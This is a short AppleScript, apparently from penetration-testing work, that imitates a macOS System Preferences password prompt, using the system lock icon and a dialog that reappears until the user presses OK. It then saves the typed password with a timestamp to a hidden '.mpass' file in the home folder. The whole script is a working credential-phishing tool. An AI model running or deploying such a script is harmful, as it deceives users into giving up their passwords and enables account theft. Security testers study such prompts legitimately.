--
-- Description: This script prompts the user to enter their password
-- in order to perform a privileged function. The password
-- is subsequently saved to a hidden file in their home directory.
-- The "Cancel" button is the default on the dialog which
-- will hopefully encourage the user to enter accurate info.
--
-- Author: Joff Thyer, October 2011
--
set filename to ((path to home folder) as string) & ".mpass"
set myprompt to "Type your password to allow System Preferences to make changes"
set ans to "Cancel"
repeat
try
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
set ans to button returned of d_returns
set mypass to text returned of d_returns
if ans = "OK" then exit repeat
end try
end repeat
try
set now to do shell script "date '+%Y%m%d_%H%M%S:'"
set myfile to open for access filename with write permission
set outstr to now & mypass & "
"
write outstr to myfile starting at eof
close access myfile
on error
try
close access myfile
end try
end try
